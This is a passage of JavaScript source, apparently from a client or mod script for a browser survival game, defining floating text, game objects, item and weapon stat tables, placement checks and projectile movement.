  2148. }
  2149. return text;
  2150. };
  2151. this.countInArray = function(array, val) {
  2152. let count = 0;
  2153. for (let i = 0; i < array.length; i++) {
  2154. if (array[i] === val) count++;
  2155. }
  2156. return count;
  2157. };
  2158. this.hexToRgb = function(hex) {
  2159. return hex.slice(1).match(/.{1,2}/g).map(g => parseInt(g, 16));
  2160. };
  2161. this.getRgb = function(r, g, b) {
  2162. return [r / 255, g / 255, b / 255].join(", ");
  2163. };
  2164. }
  2165. };
  2166. class Animtext {
  2167. // ANIMATED TEXT:
  2168. constructor() {
  2169. // INIT:
  2170. this.init = function(x, y, scale, speed, life, text, color) {
  2171. (this.x = x),
  2172. (this.y = y),
  2173. (this.color = color),
  2174. (this.scale = scale*3.5),
  2175. (this.weight = 50);
  2176. (this.startScale = this.scale * 1.2),
  2177. (this.maxScale = 1.5 * scale),
  2178. (this.minScale = 0.5 * scale),
  2179. (this.scaleSpeed = 0.7),
  2180. (this.speed = speed),
  2181. (this.speedMax = speed),
  2182. (this.life = life),
  2183. (this.maxLife = life),
  2184. (this.text = text),
  2185. this.movSpeed = speed;
  2186. };
  2187.  
  2188. // UPDATE:
  2189. this.update = function(delta) {
  2190. if(this.life){
  2191. this.life -= delta;
  2192. if(this.scaleSpeed != -0.35){
  2193. this.y -= this.speed * delta;
  2194. // (this.x += this.speed * delta);
  2195. } else {
  2196. this.y -= this.speed * delta;
  2197. }
  2198. this.scale -= .8;
  2199. // this.scale > 0.35 && (this.scale = Math.max(this.scale, this.startScale));
  2200. // this.speed < this.speedMax && (this.speed -= this.speedMax * .0075);
  2201. if(this.scale >= this.maxScale){
  2202. this.scale = this.maxScale;
  2203. this.scaleSpeed *= -.5;
  2204. this.speed = this.speed * .75;
  2205. };
  2206. this.life <= 0 && (this.life = 0)
  2207. };
  2208. };
  2209.  
  2210. // RENDER:
  2211. this.render = function(ctxt, xOff, yOff) {
  2212. ctxt.lineWidth = 10;
  2213. ctxt.strokeStyle = darkOutlineColor; //"black";
  2214. ctxt.fillStyle = this.color;
  2215. ctxt.globalAlpha = 1;
  2216. ctxt.font = this.scale + "px Hammersmith One";
  2217. ctxt.strokeText(this.text, this.x - xOff, this.y - yOff);
  2218. ctxt.fillText(this.text, this.x - xOff, this.y - yOff);
  2219. ctxt.globalAlpha = 1;
  2220. };
  2221. }
  2222. };
  2223. class Textmanager {
  2224. // TEXT MANAGER:
  2225. constructor() {
  2226. this.texts = [];
  2227. this.stack = [];
  2228.  
  2229. // UPDATE:
  2230. this.update = function(delta, ctxt, xOff, yOff) {
  2231. ctxt.textBaseline = "middle";
  2232. ctxt.textAlign = "center";
  2233. for (let i = 0; i < this.texts.length; ++i) {
  2234. if (this.texts[i].life) {
  2235. this.texts[i].update(delta);
  2236. this.texts[i].render(ctxt, xOff, yOff);
  2237. }
  2238. }
  2239. };
  2240.  
  2241. // SHOW TEXT:
  2242. this.showText = function(x, y, scale, speed, life, text, color) {
  2243. let tmpText;
  2244. for (let i = 0; i < this.texts.length; ++i) {
  2245. if (!this.texts[i].life) {
  2246. tmpText = this.texts[i];
  2247. break;
  2248. }
  2249. }
  2250. if (!tmpText) {
  2251. tmpText = new Animtext();
  2252. this.texts.push(tmpText);
  2253. }
  2254. tmpText.init(x, y, scale, speed, life, text, color);
  2255. };
  2256. }
  2257. }
  2258.  
  2259. class GameObject {
  2260. constructor(sid) {
  2261. this.sid = sid;
  2262.  
  2263. // INIT:
  2264. this.init = function(x, y, dir, scale, type, data, owner) {
  2265. data = data || {};
  2266. this.sentTo = {};
  2267. this.gridLocations = [];
  2268. this.active = true;
  2269. this.render = true;
  2270. this.doUpdate = data.doUpdate;
  2271. this.x = x;
  2272. this.y = y;
  2273. this.dir = dir;
  2274. this.lastDir = dir;
  2275. this.xWiggle = 0;
  2276. this.yWiggle = 0;
  2277. this.visScale = scale;
  2278. this.scale = scale;
  2279. this.type = type;
  2280. this.id = data.id;
  2281. this.owner = owner;
  2282. this.name = data.name;
  2283. this.isItem = (this.id != undefined);
  2284. this.group = data.group;
  2285. this.maxHealth = data.health;
  2286. this.health = this.maxHealth;
  2287. this.layer = 2;
  2288. if (this.group != undefined) {
  2289. this.layer = this.group.layer;
  2290. } else if (this.type == 0) {
  2291. this.layer = 3;
  2292. } else if (this.type == 2) {
  2293. this.layer = 0;
  2294. } else if (this.type == 4) {
  2295. this.layer = -1;
  2296. }
  2297. this.colDiv = data.colDiv || 1;
  2298. this.blocker = data.blocker;
  2299. this.ignoreCollision = data.ignoreCollision;
  2300. this.dontGather = data.dontGather;
  2301. this.hideFromEnemy = data.hideFromEnemy;
  2302. this.friction = data.friction;
  2303. this.projDmg = data.projDmg;
  2304. this.dmg = data.dmg;
  2305. this.pDmg = data.pDmg;
  2306. this.pps = data.pps;
  2307. this.zIndex = data.zIndex || 0;
  2308. this.turnSpeed = data.turnSpeed;
  2309. this.req = data.req;
  2310. this.trap = data.trap;
  2311. this.healCol = data.healCol;
  2312. this.teleport = data.teleport;
  2313. this.boostSpeed = data.boostSpeed;
  2314. this.projectile = data.projectile;
  2315. this.shootRange = data.shootRange;
  2316. this.shootRate = data.shootRate;
  2317. this.shootCount = this.shootRate;
  2318. this.spawnPoint = data.spawnPoint;
  2319. this.onNear = 0;
  2320. this.breakObj = false;
  2321. this.alpha = data.alpha || 1;
  2322. this.maxAlpha = data.alpha || 1;
  2323. this.damaged = 0;
  2324. };
  2325.  
  2326. // GET HIT:
  2327. this.changeHealth = function(amount, doer) {
  2328. this.health += amount;
  2329. return (this.health <= 100);
  2330. };
  2331.  
  2332. // GET SCALE:
  2333. this.getScale = function(sM, ig) {
  2334. sM = sM || 1;
  2335. return this.scale * ((this.isItem || this.type == 2 || this.type == 3 || this.type == 4) ?
  2336. 1 : (0.6 * sM)) * (ig ? 1 : this.colDiv);
  2337. };
  2338.  
  2339. // VISIBLE TO PLAYER:
  2340. this.visibleToPlayer = function(player) {
  2341. return !(this.hideFromEnemy) || (this.owner && (this.owner == player ||
  2342. (this.owner.team && player.team == this.owner.team)));
  2343. };
  2344.  
  2345. // UPDATE:
  2346. this.update = function(delta) {
  2347. if (this.active) {
  2348. if (this.xWiggle) {
  2349. this.xWiggle *= Math.pow(0.99, delta);
  2350. }
  2351. if (this.yWiggle) {
  2352. this.yWiggle *= Math.pow(0.99, delta);
  2353. }
  2354. let d2 = UTILS.getAngleDist(this.lastDir, this.dir);
  2355. if (d2 > 0.01) {
  2356. this.dir += d2 / 5;
  2357. } else {
  2358. this.dir = this.lastDir;
  2359. }
  2360. } else {
  2361. if (this.alive) {
  2362. this.alpha -= delta / (200 / this.maxAlpha);
  2363. this.visScale += delta / (this.scale / 2.5);
  2364. if (this.alpha <= 0) {
  2365. this.alpha = 0;
  2366. this.alive = false;
  2367. }
  2368. }
  2369. }
  2370. };
  2371.  
  2372. // CHECK TEAM:
  2373. this.isTeamObject = function(tmpObj) {
  2374. return this.owner == null ? true : (this.owner && tmpObj.sid == this.owner.sid || tmpObj.findAllianceBySid(this.owner.sid));
  2375. };
  2376. }
  2377. }
  2378. class Items {
  2379. constructor() {
  2380. // ITEM GROUPS:
  2381. this.groups = [{
  2382. id: 0,
  2383. name: "food",
  2384. layer: 0
  2385. }, {
  2386. id: 1,
  2387. name: "walls",
  2388. place: true,
  2389. limit: 30,
  2390. layer: 0
  2391. }, {
  2392. id: 2,
  2393. name: "spikes",
  2394. place: true,
  2395. limit: 15,
  2396. layer: 0
  2397. }, {
  2398. id: 3,
  2399. name: "mill",
  2400. place: true,
  2401. limit: 7,
  2402. layer: 1
  2403. }, {
  2404. id: 4,
  2405. name: "mine",
  2406. place: true,
  2407. limit: 1,
  2408. layer: 0
  2409. }, {
  2410. id: 5,
  2411. name: "trap",
  2412. place: true,
  2413. limit: 6,
  2414. layer: -1
  2415. }, {
  2416. id: 6,
  2417. name: "booster",
  2418. place: true,
  2419. limit: 12,
  2420. layer: -1
  2421. }, {
  2422. id: 7,
  2423. name: "turret",
  2424. place: true,
  2425. limit: 2,
  2426. layer: 1
  2427. }, {
  2428. id: 8,
  2429. name: "watchtower",
  2430. place: true,
  2431. limit: 12,
  2432. layer: 1
  2433. }, {
  2434. id: 9,
  2435. name: "buff",
  2436. place: true,
  2437. limit: 4,
  2438. layer: -1
  2439. }, {
  2440. id: 10,
  2441. name: "spawn",
  2442. place: true,
  2443. limit: 1,
  2444. layer: -1
  2445. }, {
  2446. id: 11,
  2447. name: "sapling",
  2448. place: true,
  2449. limit: 2,
  2450. layer: 0
  2451. }, {
  2452. id: 12,
  2453. name: "blocker",
  2454. place: true,
  2455. limit: 3,
  2456. layer: -1
  2457. }, {
  2458. id: 13,
  2459. name: "teleporter",
  2460. place: true,
  2461. limit: 2,
  2462. layer: -1
  2463. }];
  2464.  
  2465. // PROJECTILES:
  2466. this.projectiles = [{
  2467. indx: 0,
  2468. layer: 0,
  2469. src: "arrow_1",
  2470. dmg: 25,
  2471. speed: 1.6,
  2472. scale: 103,
  2473. range: 1000
  2474. }, {
  2475. indx: 1,
  2476. layer: 1,
  2477. dmg: 25,
  2478. scale: 20
  2479. }, {
  2480. indx: 0,
  2481. layer: 0,
  2482. src: "arrow_1",
  2483. dmg: 35,
  2484. speed: 2.5,
  2485. scale: 103,
  2486. range: 1200
  2487. }, {
  2488. indx: 0,
  2489. layer: 0,
  2490. src: "arrow_1",
  2491. dmg: 30,
  2492. speed: 2,
  2493. scale: 103,
  2494. range: 1200
  2495. }, {
  2496. indx: 1,
  2497. layer: 1,
  2498. dmg: 16,
  2499. scale: 20
  2500. }, {
  2501. indx: 0,
  2502. layer: 0,
  2503. src: "bullet_1",
  2504. dmg: 50,
  2505. speed: 3.6,
  2506. scale: 160,
  2507. range: 1400
  2508. }];
  2509.  
  2510. // WEAPONS:
  2511. this.weapons = [{
  2512. id: 0,
  2513. type: 0,
  2514. name: "tool hammer",
  2515. desc: "tool for gathering all resources",
  2516. src: "hammer_1",
  2517. length: 140,
  2518. width: 140,
  2519. xOff: -3,
  2520. yOff: 18,
  2521. dmg: 25,
  2522. range: 65,
  2523. gather: 1,
  2524. speed: 300
  2525. }, {
  2526. id: 1,
  2527. type: 0,
  2528. age: 2,
  2529. name: "hand axe",
  2530. desc: "gathers resources at a higher rate",
  2531. src: "axe_1",
  2532. length: 140,
  2533. width: 140,
  2534. xOff: 3,
  2535. yOff: 24,
  2536. dmg: 30,
  2537. spdMult: 1,
  2538. range: 70,
  2539. gather: 2,
  2540. speed: 400
  2541. }, {
  2542. id: 2,
  2543. type: 0,
  2544. age: 8,
  2545. pre: 1,
  2546. name: "great axe",
  2547. desc: "deal more damage and gather more resources",
  2548. src: "great_axe_1",
  2549. length: 140,
  2550. width: 140,
  2551. xOff: -8,
  2552. yOff: 25,
  2553. dmg: 35,
  2554. spdMult: 1,
  2555. range: 75,
  2556. gather: 4,
  2557. speed: 400
  2558. }, {
  2559. id: 3,
  2560. type: 0,
  2561. age: 2,
  2562. name: "short sword",
  2563. desc: "increased attack power but slower move speed",
  2564. src: "sword_1",
  2565. iPad: 1.3,
  2566. length: 130,
  2567. width: 210,
  2568. xOff: -8,
  2569. yOff: 46,
  2570. dmg: 35,
  2571. spdMult: 0.85,
  2572. range: 110,
  2573. gather: 1,
  2574. speed: 300
  2575. }, {
  2576. id: 4,
  2577. type: 0,
  2578. age: 8,
  2579. pre: 3,
  2580. name: "katana",
  2581. desc: "greater range and damage",
  2582. src: "samurai_1",
  2583. iPad: 1.3,
  2584. length: 130,
  2585. width: 210,
  2586. xOff: -8,
  2587. yOff: 59,
  2588. dmg: 40,
  2589. spdMult: 0.8,
  2590. range: 118,
  2591. gather: 1,
  2592. speed: 300
  2593. }, {
  2594. id: 5,
  2595. type: 0,
  2596. age: 2,
  2597. name: "polearm",
  2598. desc: "long range melee weapon",
  2599. src: "spear_1",
  2600. iPad: 1.3,
  2601. length: 130,
  2602. width: 210,
  2603. xOff: -8,
  2604. yOff: 53,
  2605. dmg: 45,
  2606. knock: 0.2,
  2607. spdMult: 0.82,
  2608. range: 142,
  2609. gather: 1,
  2610. speed: 700
  2611. }, {
  2612. id: 6,
  2613. type: 0,
  2614. age: 2,
  2615. name: "bat",
  2616. desc: "fast long range melee weapon",
  2617. src: "bat_1",
  2618. iPad: 1.3,
  2619. length: 110,
  2620. width: 180,
  2621. xOff: -8,
  2622. yOff: 53,
  2623. dmg: 20,
  2624. knock: 0.7,
  2625. range: 110,
  2626. gather: 1,
  2627. speed: 300
  2628. }, {
  2629. id: 7,
  2630. type: 0,
  2631. age: 2,
  2632. name: "daggers",
  2633. desc: "really fast short range weapon",
  2634. src: "dagger_1",
  2635. iPad: 0.8,
  2636. length: 110,
  2637. width: 110,
  2638. xOff: 18,
  2639. yOff: 0,
  2640. dmg: 20,
  2641. knock: 0.1,
  2642. range: 65,
  2643. gather: 1,
  2644. hitSlow: 0.1,
  2645. spdMult: 1.13,
  2646. speed: 100
  2647. }, {
  2648. id: 8,
  2649. type: 0,
  2650. age: 2,
  2651. name: "stick",
  2652. desc: "great for gathering but very weak",
  2653. src: "stick_1",
  2654. length: 140,
  2655. width: 140,
  2656. xOff: 3,
  2657. yOff: 24,
  2658. dmg: 1,
  2659. spdMult: 1,
  2660. range: 70,
  2661. gather: 7,
  2662. speed: 400
  2663. }, {
  2664. id: 9,
  2665. type: 1,
  2666. age: 6,
  2667. name: "hunting bow",
  2668. desc: "bow used for ranged combat and hunting",
  2669. src: "bow_1",
  2670. req: ["wood", 4],
  2671. length: 120,
  2672. width: 120,
  2673. xOff: -6,
  2674. yOff: 0,
  2675. Pdmg: 25,
  2676. projectile: 0,
  2677. spdMult: 0.75,
  2678. speed: 600
  2679. }, {
  2680. id: 10,
  2681. type: 1,
  2682. age: 6,
  2683. name: "great hammer",
  2684. desc: "hammer used for destroying structures",
  2685. src: "great_hammer_1",
  2686. length: 140,
  2687. width: 140,
  2688. xOff: -9,
  2689. yOff: 25,
  2690. dmg: 10,
  2691. Pdmg: 10,
  2692. spdMult: 0.88,
  2693. range: 75,
  2694. sDmg: 7.5,
  2695. gather: 1,
  2696. speed: 400
  2697. }, {
  2698. id: 11,
  2699. type: 1,
  2700. age: 6,
  2701. name: "wooden shield",
  2702. desc: "blocks projectiles and reduces melee damage",
  2703. src: "shield_1",
  2704. length: 120,
  2705. width: 120,
  2706. shield: 0.2,
  2707. xOff: 6,
  2708. yOff: 0,
  2709. Pdmg: 0,
  2710. spdMult: 0.7
  2711. }, {
  2712. id: 12,
  2713. type: 1,
  2714. age: 8,
  2715. pre: 9,
  2716. name: "crossbow",
  2717. desc: "deals more damage and has greater range",
  2718. src: "crossbow_1",
  2719. req: ["wood", 5],
  2720. aboveHand: true,
  2721. armS: 0.75,
  2722. length: 120,
  2723. width: 120,
  2724. xOff: -4,
  2725. yOff: 0,
  2726. Pdmg: 35,
  2727. projectile: 2,
  2728. spdMult: 0.7,
  2729. speed: 700
  2730. }, {
  2731. id: 13,
  2732. type: 1,
  2733. age: 9,
  2734. pre: 12,
  2735. name: "repeater crossbow",
  2736. desc: "high firerate crossbow with reduced damage",
  2737. src: "crossbow_2",
  2738. req: ["wood", 10],
  2739. aboveHand: true,
  2740. armS: 0.75,
  2741. length: 120,
  2742. width: 120,
  2743. xOff: -4,
  2744. yOff: 0,
  2745. Pdmg: 30,
  2746. projectile: 3,
  2747. spdMult: 0.7,
  2748. speed: 230
  2749. }, {
  2750. id: 14,
  2751. type: 1,
  2752. age: 6,
  2753. name: "mc grabby",
  2754. desc: "steals resources from enemies",
  2755. src: "grab_1",
  2756. length: 130,
  2757. width: 210,
  2758. xOff: -8,
  2759. yOff: 53,
  2760. dmg: 0,
  2761. Pdmg: 0,
  2762. steal: 250,
  2763. knock: 0.2,
  2764. spdMult: 1.05,
  2765. range: 125,
  2766. gather: 0,
  2767. speed: 700
  2768. }, {
  2769. id: 15,
  2770. type: 1,
  2771. age: 9,
  2772. pre: 12,
  2773. name: "musket",
  2774. desc: "slow firerate but high damage and range",
  2775. src: "musket_1",
  2776. req: ["stone", 10],
  2777. aboveHand: true,
  2778. rec: 0.35,
  2779. armS: 0.6,
  2780. hndS: 0.3,
  2781. hndD: 1.6,
  2782. length: 205,
  2783. width: 205,
  2784. xOff: 25,
  2785. yOff: 0,
  2786. Pdmg: 50,
  2787. projectile: 5,
  2788. hideProjectile: true,
  2789. spdMult: 0.6,
  2790. speed: 1500
  2791. }];
  2792.  
  2793. // ITEMS:
  2794. this.list = [{
  2795. group: this.groups[0],
  2796. name: "apple",
  2797. desc: "restores 20 health when consumed",
  2798. req: ["food", 10],
  2799. consume: function(doer) {
  2800. return doer.changeHealth(20, doer);
  2801. },
  2802. scale: 22,
  2803. holdOffset: 15,
  2804. healing: 20,
  2805. itemID: 0,
  2806. itemAID: 16,
  2807. }, {
  2808. age: 3,
  2809. group: this.groups[0],
  2810. name: "cookie",
  2811. desc: "restores 40 health when consumed",
  2812. req: ["food", 15],
  2813. consume: function(doer) {
  2814. return doer.changeHealth(40, doer);
  2815. },
  2816. scale: 27,
  2817. holdOffset: 15,
  2818. healing: 40,
  2819. itemID: 1,
  2820. itemAID: 17,
  2821. }, {
  2822. age: 7,
  2823. group: this.groups[0],
  2824. name: "cheese",
  2825. desc: "restores 30 health and another 50 over 5 seconds",
  2826. req: ["food", 25],
  2827. consume: function(doer) {
  2828. if (doer.changeHealth(30, doer) || doer.health < 100) {
  2829. doer.dmgOverTime.dmg = -10;
  2830. doer.dmgOverTime.doer = doer;
  2831. doer.dmgOverTime.time = 5;
  2832. return true;
  2833. }
  2834. return false;
  2835. },
  2836. scale: 27,
  2837. holdOffset: 15,
  2838. healing: 30,
  2839. itemID: 2,
  2840. itemAID: 18,
  2841. }, {
  2842. group: this.groups[1],
  2843. name: "wood wall",
  2844. desc: "provides protection for your village",
  2845. req: ["wood", 10],
  2846. projDmg: true,
  2847. health: 380,
  2848. scale: 50,
  2849. holdOffset: 20,
  2850. placeOffset: -5,
  2851. itemID: 3,
  2852. itemAID: 19,
  2853. }, {
  2854. age: 3,
  2855. group: this.groups[1],
  2856. name: "stone wall",
  2857. desc: "provides improved protection for your village",
  2858. req: ["stone", 25],
  2859. health: 900,
  2860. scale: 50,
  2861. holdOffset: 20,
  2862. placeOffset: -5,
  2863. itemID: 4,
  2864. itemAID: 20,
  2865. }, {
  2866. age: 7,
  2867. group: this.groups[1],
  2868. name: "castle wall",
  2869. desc: "provides powerful protection for your village",
  2870. req: ["stone", 35],
  2871. health: 1500,
  2872. scale: 52,
  2873. holdOffset: 20,
  2874. placeOffset: -5,
  2875. itemID: 5,
  2876. itemAID: 21,
  2877. }, {
  2878. group: this.groups[2],
  2879. name: "spikes",
  2880. desc: "damages enemies when they touch them",
  2881. req: ["wood", 20, "stone", 5],
  2882. health: 400,
  2883. dmg: 20,
  2884. scale: 49,
  2885. spritePadding: -23,
  2886. holdOffset: 8,
  2887. placeOffset: -5,
  2888. itemID: 6,
  2889. itemAID: 22,
  2890. shadow: {
  2891. offsetX: 5, // Adjust the shadow's X offset as needed
  2892. offsetY: 5, // Adjust the shadow's Y offset as needed
  2893. blur: 20, // Adjust the shadow's blur as needed
  2894. color: "rgba(0, 0, 0, 0.5)" // Adjust the shadow's color and transparency as needed
  2895. }
  2896.  
  2897. }, {
  2898. age: 5,
  2899. group: this.groups[2],
  2900. name: "greater spikes",
  2901. desc: "damages enemies when they touch them",
  2902. req: ["wood", 30, "stone", 10],
  2903. health: 500,
  2904. dmg: 35,
  2905. scale: 52,
  2906. spritePadding: -23,
  2907. holdOffset: 8,
  2908. placeOffset: -5,
  2909. itemID: 7,
  2910. itemAID: 23,
  2911. }, {
  2912. age: 9,
  2913. group: this.groups[2],
  2914. name: "poison spikes",
  2915. desc: "poisons enemies when they touch them",
  2916. req: ["wood", 35, "stone", 15],
  2917. health: 600,
  2918. dmg: 30,
  2919. pDmg: 5,
  2920. scale: 52,
  2921. spritePadding: -23,
  2922. holdOffset: 8,
  2923. placeOffset: -5,
  2924. itemID: 8,
  2925. itemAID: 24,
  2926. }, {
  2927. age: 9,
  2928. group: this.groups[2],
  2929. name: "spinning spikes",
  2930. desc: "damages enemies when they touch them",
  2931. req: ["wood", 30, "stone", 20],
  2932. health: 500,
  2933. dmg: 45,
  2934. turnSpeed: 0.003,
  2935. scale: 52,
  2936. spritePadding: -23,
  2937. holdOffset: 8,
  2938. placeOffset: -5,
  2939. itemID: 9,
  2940. itemAID: 25,
  2941. }, {
  2942. group: this.groups[3],
  2943. name: "windmill",
  2944. desc: "generates gold over time",
  2945. req: ["wood", 50, "stone", 10],
  2946. health: 400,
  2947. pps: 1,
  2948. turnSpeed: 0.0016,
  2949. spritePadding: 25,
  2950. iconLineMult: 12,
  2951. scale: 45,
  2952. holdOffset: 20,
  2953. placeOffset: 5,
  2954. itemID: 10,
  2955. itemAID: 26,
  2956. }, {
  2957. age: 5,
  2958. group: this.groups[3],
  2959. name: "faster windmill",
  2960. desc: "generates more gold over time",
  2961. req: ["wood", 60, "stone", 20],
  2962. health: 500,
  2963. pps: 1.5,
  2964. turnSpeed: 0.0025,
  2965. spritePadding: 25,
  2966. iconLineMult: 12,
  2967. scale: 47,
  2968. holdOffset: 20,
  2969. placeOffset: 5,
  2970. itemID: 11,
  2971. itemAID: 27,
  2972. }, {
  2973. age: 8,
  2974. group: this.groups[3],
  2975. name: "power mill",
  2976. desc: "generates more gold over time",
  2977. req: ["wood", 100, "stone", 50],
  2978. health: 800,
  2979. pps: 2,
  2980. turnSpeed: 0.005,
  2981. spritePadding: 25,
  2982. iconLineMult: 12,
  2983. scale: 47,
  2984. holdOffset: 20,
  2985. placeOffset: 5,
  2986. itemID: 12,
  2987. itemAID: 28,
  2988. }, {
  2989. age: 5,
  2990. group: this.groups[4],
  2991. type: 2,
  2992. name: "mine",
  2993. desc: "allows you to mine stone",
  2994. req: ["wood", 20, "stone", 100],
  2995. iconLineMult: 12,
  2996. scale: 65,
  2997. holdOffset: 20,
  2998. placeOffset: 0,
  2999. itemID: 13,
  3000. itemAID: 29,
  3001. }, {
  3002. age: 5,
  3003. group: this.groups[11],
  3004. type: 0,
  3005. name: "sapling",
  3006. desc: "allows you to farm wood",
  3007. req: ["wood", 150],
  3008. iconLineMult: 12,
  3009. colDiv: 0.5,
  3010. scale: 110,
  3011. holdOffset: 50,
  3012. placeOffset: -15,
  3013. itemID: 14,
  3014. itemAID: 30,
  3015. }, {
  3016. age: 4,
  3017. group: this.groups[5],
  3018. name: "pit trap",
  3019. desc: "pit that traps enemies if they walk over it",
  3020. req: ["wood", 30, "stone", 30],
  3021. trap: true,
  3022. ignoreCollision: true,
  3023. hideFromEnemy: true,
  3024. health: 500,
  3025. colDiv: 0.2,
  3026. scale: 50,
  3027. holdOffset: 20,
  3028. placeOffset: -5,
  3029. alpha: 0.6,
  3030. itemID: 15,
  3031. itemAID: 31,
  3032. }, {
  3033. age: 4,
  3034. group: this.groups[6],
  3035. name: "boost pad",
  3036. desc: "provides boost when stepped on",
  3037. req: ["stone", 20, "wood", 5],
  3038. ignoreCollision: true,
  3039. boostSpeed: 1.5,
  3040. health: 150,
  3041. colDiv: 0.7,
  3042. scale: 45,
  3043. holdOffset: 20,
  3044. placeOffset: -5,
  3045. itemID: 16,
  3046. itemAID: 32,
  3047. }, {
  3048. age: 7,
  3049. group: this.groups[7],
  3050. doUpdate: true,
  3051. name: "turret",
  3052. desc: "defensive structure that shoots at enemies",
  3053. req: ["wood", 200, "stone", 150],
  3054. health: 800,
  3055. projectile: 1,
  3056. shootRange: 700,
  3057. shootRate: 2200,
  3058. scale: 43,
  3059. holdOffset: 20,
  3060. placeOffset: -5,
  3061. itemID: 17,
  3062. itemAID: 33,
  3063. }, {
  3064. age: 7,
  3065. group: this.groups[8],
  3066. name: "platform",
  3067. desc: "platform to shoot over walls and cross over water",
  3068. req: ["wood", 20],
  3069. ignoreCollision: true,
  3070. zIndex: 1,
  3071. health: 300,
  3072. scale: 43,
  3073. holdOffset: 20,
  3074. placeOffset: -5,
  3075. itemID: 18,
  3076. itemAID: 34,
  3077. }, {
  3078. age: 7,
  3079. group: this.groups[9],
  3080. name: "healing pad",
  3081. desc: "standing on it will slowly heal you",
  3082. req: ["wood", 30, "food", 10],
  3083. ignoreCollision: true,
  3084. healCol: 15,
  3085. health: 400,
  3086. colDiv: 0.7,
  3087. scale: 45,
  3088. holdOffset: 20,
  3089. placeOffset: -5,
  3090. itemID: 19,
  3091. itemAID: 35,
  3092. }, {
  3093. age: 9,
  3094. group: this.groups[10],
  3095. name: "spawn pad",
  3096. desc: "you will spawn here when you die but it will dissapear",
  3097. req: ["wood", 100, "stone", 100],
  3098. health: 400,
  3099. ignoreCollision: true,
  3100. spawnPoint: true,
  3101. scale: 45,
  3102. holdOffset: 20,
  3103. placeOffset: -5,
  3104. itemID: 20,
  3105. itemAID: 36,
  3106. }, {
  3107. age: 7,
  3108. group: this.groups[12],
  3109. name: "blocker",
  3110. desc: "blocks building in radius",
  3111. req: ["wood", 30, "stone", 25],
  3112. ignoreCollision: true,
  3113. blocker: 300,
  3114. health: 400,
  3115. colDiv: 0.7,
  3116. scale: 45,
  3117. holdOffset: 20,
  3118. placeOffset: -5,
  3119. itemID: 21,
  3120. itemAID: 37,
  3121. }, {
  3122. age: 7,
  3123. group: this.groups[13],
  3124. name: "teleporter",
  3125. desc: "teleports you to a random point on the map",
  3126. req: ["wood", 60, "stone", 60],
  3127. ignoreCollision: true,
  3128. teleport: true,
  3129. health: 200,
  3130. colDiv: 0.7,
  3131. scale: 45,
  3132. holdOffset: 20,
  3133. placeOffset: -5,
  3134. itemID: 22,
  3135. itemAID: 38
  3136. }];
  3137.  
  3138. // CHECK ITEM ID:
  3139. this.checkItem = {
  3140. index: function(id, myItems) {
  3141. return [0, 1, 2].includes(id) ? 0 : [3, 4, 5].includes(id) ? 1 : [6, 7, 8, 9].includes(id) ? 2 : [10, 11, 12].includes(id) ? 3 : [13, 14].includes(id) ? 5 : [15, 16].includes(id) ? 4 : [17, 18, 19, 21, 22].includes(id) ? [13, 14].includes(myItems) ? 6 :
  3142. 5 :
  3143. id == 20 ? [13, 14].includes(myItems) ? 7 :
  3144. 6 :
  3145. undefined;
  3146. }
  3147. }
  3148.  
  3149. // ASSIGN IDS:
  3150. for (let i = 0; i < this.list.length; ++i) {
  3151. this.list[i].id = i;
  3152. if (this.list[i].pre) this.list[i].pre = i - this.list[i].pre;
  3153. }
  3154.  
  3155. // TROLOLOLOL:
  3156. if (typeof window !== "undefined") {
  3157. function shuffle(a) {
  3158. for (let i = a.length - 1; i > 0; i--) {
  3159. const j = Math.floor(Math.random() * (i + 1));
  3160. [a[i], a[j]] = [a[j], a[i]];
  3161. }
  3162. return a;
  3163. }
  3164. //shuffle(this.list);
  3165. }
  3166. }
  3167. }
  3168. class Objectmanager {
  3169. constructor(GameObject, liztobj, UTILS, config, players, server) {
  3170. let mathFloor = Math.floor,
  3171. mathABS = Math.abs,
  3172. mathCOS = Math.cos,
  3173. mathSIN = Math.sin,
  3174. mathPOW = Math.pow,
  3175. mathSQRT = Math.sqrt;
  3176.  
  3177. this.ignoreAdd = false;
  3178. this.hitObj = [];
  3179.  
  3180. // DISABLE OBJ:
  3181. this.disableObj = function(obj) {
  3182. obj.active = false;
  3183. };
  3184.  
  3185. // ADD NEW:
  3186. let tmpObj;
  3187. this.add = function(sid, x, y, dir, s, type, data, setSID, owner) {
  3188. tmpObj = findObjectBySid(sid);
  3189. if (!tmpObj) {
  3190. tmpObj = gameObjects.find((tmp) => !tmp.active);
  3191. if (!tmpObj) {
  3192. tmpObj = new GameObject(sid);
  3193. gameObjects.push(tmpObj);
  3194. }
  3195. }
  3196. if (setSID) {
  3197. tmpObj.sid = sid;
  3198. }
  3199. tmpObj.init(x, y, dir, s, type, data, owner);
  3200. };
  3201.  
  3202. // DISABLE BY SID:
  3203. this.disableBySid = function(sid) {
  3204. let find = findObjectBySid(sid);
  3205. if (find) {
  3206. this.disableObj(find);
  3207. }
  3208. };
  3209.  
  3210. // REMOVE ALL FROM PLAYER:
  3211. this.removeAllItems = function(sid, server) {
  3212. gameObjects.filter((tmp) => tmp.active && tmp.owner && tmp.owner.sid == sid).forEach((tmp) => this.disableObj(tmp));
  3213. };
  3214.  
  3215. // CHECK IF PLACABLE:
  3216. this.checkItemLocation = function(x, y, s, sM, indx, ignoreWater, placer) {
  3217. let cantPlace = liztobj.find((tmp) => tmp.active && UTILS.getDistance(x, y, tmp.x, tmp.y) < s + (tmp.blocker ? tmp.blocker : tmp.getScale(sM, tmp.isItem)));
  3218. if (cantPlace) return false;
  3219. if (!ignoreWater && indx != 18 && y >= config.mapScale / 2 - config.riverWidth / 2 && y <= config.mapScale / 2 + config.riverWidth / 2) return false;
  3220. return true;
  3221. };
  3222.  
  3223. }
  3224. }
  3225. class Projectile {
  3226. constructor(players, ais, objectManager, items, config, UTILS, server) {
  3227.  
  3228. // INIT:
  3229. this.init = function(indx, x, y, dir, spd, dmg, rng, scl, owner) {
  3230. this.active = true;
  3231. this.tickActive = true;
  3232. this.indx = indx;
  3233. this.x = x;
  3234. this.y = y;
  3235. this.x2 = x;
  3236. this.y2 = y;
  3237. this.dir = dir;
  3238. this.skipMov = true;
  3239. this.speed = spd;
  3240. this.dmg = dmg;
  3241. this.scale = scl;
  3242. this.range = rng;
  3243. this.r2 = rng;
  3244. this.owner = owner;
  3245. };
  3246.  
  3247. // UPDATE:
  3248. this.update = function(delta) {
  3249. if (this.active) {
  3250. let tmpSpeed = this.speed * delta;
  3251. if (!this.skipMov) {
  3252. this.x += tmpSpeed * Math.cos(this.dir);
  3253. this.y += tmpSpeed * Math.sin(this.dir);
